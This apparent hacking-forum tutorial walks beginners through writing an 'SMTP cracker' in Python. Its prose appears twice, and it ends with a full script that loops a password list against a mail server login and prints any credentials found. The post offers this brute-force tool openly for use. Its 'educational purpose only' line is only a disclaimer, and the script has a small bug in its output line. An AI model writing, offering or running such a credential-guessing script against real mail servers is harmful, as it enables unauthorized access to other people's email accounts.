OP 25 June, 2022 - 08:02 PM
Hi guys, in this tutorial we will be coding an SMTP cracker in python
This tutorial is great for beginners, as it is pretty easy to code crackers like this one in Python
To code a cracker for something all you have to do is create a script that logs you in
From there you can just loop the login
It might get more complex for websites like Instagram, Facebook etc, because of all the defenses they have built into their websites, but this script should work with most smtps
First import smtplib into your script, the library we will use to login
For a basic SMTP cracker, without any advanced features, this is all we will need in Python
First we create a variable called srv and assign it an SMTP connection
If you only want to build a simple login, replace smtp_server with the domain or IP of your server and smtp_port, with the port you want to use for the connection
From there we will work with the srv variable
With ehlo() we start the smtp session and tell the server that we are here, like a hello
starttls() indicates that the session should be encrypted using TLS
Now that we are done with greeting the server, we want to login of course
That is pretty much it so far
The server's response now tells you whether the authentication credentials were valid or not
So now you can loop this the way you would like it to and have your own basic smtp cracker!
Here is a quick example of what it could look like
As I said, this is a really, really basic smtp cracker I wrote in 2 minutes, a lot more features could be added to it, which would make it much more efficient
Still, I hope I could help some people with it.
This post is for educational purpose only. I'm in any way responsible for the actions you perform with the acquired knowledge.
This tutorial is great for beginners, as it is pretty easy to code crackers like this one in Python
To code a cracker for something all you have to do is create a script that logs you in
From there you can just loop the login
It might get more complex for websites like Instagram, Facebook etc, because of all the defenses they have built into their websites, but this script should work with most smtps
First import smtplib into your script, the library we will use to login
Code:
import smtplibFor a basic SMTP cracker, without any advanced features, this is all we will need in Python
First we create a variable called srv and assign it an SMTP connection
Code:
srv = smtplib.SMTP(smtp_server, smtp_port)If you only want to build a simple login, replace smtp_server with the domain or IP of your server and smtp_port, with the port you want to use for the connection
From there we will work with the srv variable
Code:
srv.ehlo()
srv.starttls()With ehlo() we start the smtp session and tell the server that we are here, like a hello
starttls() indicates that the session should be encrypted using TLS
Now that we are done with greeting the server, we want to login of course
Code:
srv.login(mail, password)That is pretty much it so far
The server's response now tells you whether the authentication credentials were valid or not
Code:
srv.quit()So now you can loop this the way you would like it to and have your own basic smtp cracker!
Here is a quick example of what it could look like
Code:
import smtplib
def login(username, password, smtp_server, smtp_port):
smtp = smtplib.SMTP(smtp_server, smtp_port)
try:
smtp.ehlo()
smtp.starttls()
smtp.login(username, password)
smtp.quit()
return True
except Exception as e:
smtp.quit()
return False
def main():
smtp_port = 587
smtp_server = "some.smtp.com"
pwd_list = open("password_list.txt", "r+")
username = "[email protected]"
for pwd in pwd_list.readlines():
pwd = pwd[:len(pwd) - 1]
if (login(username, pwd, smtp_server, smtp_port)):
print ("[+] Found password "+username+":"+password)
main()As I said, this is a really, really basic smtp cracker I wrote in 2 minutes, a lot more features could be added to it, which would make it much more efficient
Still, I hope I could help some people with it.
This post is for educational purpose only. I'm in any way responsible for the actions you perform with the acquired knowledge.
ENJOY, DONT FORGET CLICK LIKE BUTTON 
